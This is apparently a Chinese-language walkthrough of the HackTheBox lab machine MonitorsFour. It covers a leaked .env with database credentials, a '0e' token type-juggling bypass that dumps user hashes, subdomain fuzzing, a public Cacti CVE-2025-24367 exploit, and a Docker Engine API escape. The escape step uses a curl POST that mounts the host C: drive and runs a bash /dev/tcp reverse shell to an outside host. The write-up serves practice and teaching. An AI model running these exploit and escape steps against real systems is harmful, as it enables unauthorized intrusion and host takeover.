写host

echo "10.10.11.98 monitorsfour.htb  DC01.monitorsfour.htb" >> /etc/hosts;

Nmap

80端口一个网站,不是什么主流框架

Dirsearch

有一个.env泄露

DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

不过3306端口没有开在外网

里面的contact有一个报错

user有信息

这里尝试一下传一下token参数,GET传参时发现字母或者除0以外的数字都没反应

传0的时候回显出了信息

[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]

测试发现0以及0e后面跟任何数字即可触发这个

cmd5直接查出来了,还以为又要让我爆米呢

admin登录

以admin为用户名进行登录

发现不行,很日,Tasks那里也不能新建任务.然后找不到其他接口,这个账密肯定有用的呀.感觉估计是其他地方还有服务,考虑一下子域名,之前Titanic那台机器就是这样的.不过对于HTB这种内网环境来说,还需要配置泛解析.

泛解析

方法一 dnsmasq设置全局DNS解析

kali

sudo apt update
sudo apt install dnsmasq -y
sudo mousepad /etc/dnsmasq.d/monitorsfour.conf

写入  address=/monitorsfour.htb/10.10.11.98    

sudo systemctl restart dnsmasq    //重启服务
sudo systemctl status dnsmasq   //查看服务状态

sudo mousepad /etc/resolv.conf  
写入  nameserver 127.0.0.1    //注意是写在原有nameserver之前,不能写后面也不能删除原来的

最后ping命令进行测试

ping a.monitorsfour.htb

方法二 用Host头绕过DNS解析

其实就是访问的url是ip,但是携带的Host头是子域名,让服务器自己去解析并返回,最终要让浏览器访问的话还需要加一个hosts才行

子域名爆破

推荐一个字典仓库​https://github.com/danielmiessler/SecLists/

里面关于/Discovery/DNS/subdomains-top1million-20000.txt 可以用来进行爆破子域名

爆破子域名用ffuf工具来搞,测试发现访问随机域名会302跳转,size是138

方法一

ffuf -w SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -u http://FUZZ.monitorsfour.htb -fs 138

方法二

ffuf -w SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.10.11.98 -H "Host: FUZZ.monitorsfour.htb" -fs 138

其实就是cacti.monitorsfour.htb

新服务-cacti_panel

访问后是这个页面

尝试admin为用户名进行登录发现不行,奇怪!?

各种尝试后发现,用户名是那个name里面的那个名。也就是Marcus

进去后长这样,nuclei扫描发现是cacti-panel框架

不过没有扫出来漏洞,主动找一下,通常都是2025年的,只有一个,版本1.1.28也能打

github上有一个https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC

python CVE-2025-24367.py -u marcus -p wonderful1 -i 10.10.17.* -l 1234 -url http://cacti.monitorsfour.htb 

user.txt

弹shell后一条命令上线vshell

/home/marcus 下面找到user.txt

Docker逃逸

环境是docker的,要拿到root.txt还需要进行逃逸.ip a 在172.18段,不过我fscan传上去后扫了整个172.18都没东西,唉

Docker有一个关于dns设置的文件/etc/resolv.conf 这个文件里面写了有关docker dns解析的东西

这里面说了会转发给这个192.168 的机器解析,这肯定重要呀.fscan一扫就出

Docker Engine Remote API 可以实现对任何容器的创建和启动,并能够实现命令执行和目录挂载

Docker Desktop+WSL2

uname -a 得知这个实际上是Windows机器Docker Desktop起的一个wsl docker容器

在wsl2中,通常来说Windows的C盘是映射的WSL的/mnt/c

但在Docker Desktop里还会再做一次挂载,变成了/mnt/host/c

逃逸思路

这里我们已经能够实现对已有的任意镜像的容器搭建与启动,并能够执行命令和挂载目录.

我首先想到的是cdk,不过这个环境比较复杂加上主机不出网,cdk关于此的利用原理需要拉取一个docker镜像(并且可能不太适用于Windows这种)

所以说只能手打

通过执行curl http://192.168.65.7:2375/images/json 可以发现已有的镜像,可以随便找一个有bash的,比如说docker_setup-nginx-php:latest

  • 首先创建容器,挂载Windows的C盘(/mnt/host/c)到容器根目录的/host_root,并执行反弹shell命令,将返回结果输出到create.json
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "Image":"docker_setup-nginx-php:latest",
    "Cmd":["bash","-c","bash -i >& /dev/tcp/10.10.*.*/1234 0>&1"],
    "HostConfig":{
      "Binds":["/mnt/host/c:/host_root"]
    }
  }' \
  -o create.json \
  http://192.168.65.7:2375/containers/create
  • 自己机器做好监听,然后获取上一步命令生成的create.json里面的容器ID
cid=$(cut -d'"' -f4 create.json)
  • 启动该容器
curl -X POST \
  -d '' \
  http://192.168.65.7:2375/containers/$cid/start

root.txt

此时就会有一条关于容器的shell弹过来

如果要做逃逸的话还需要在c:\\windows\system32\tasks 里面写定时任务,Linux的话就是/etc/crontab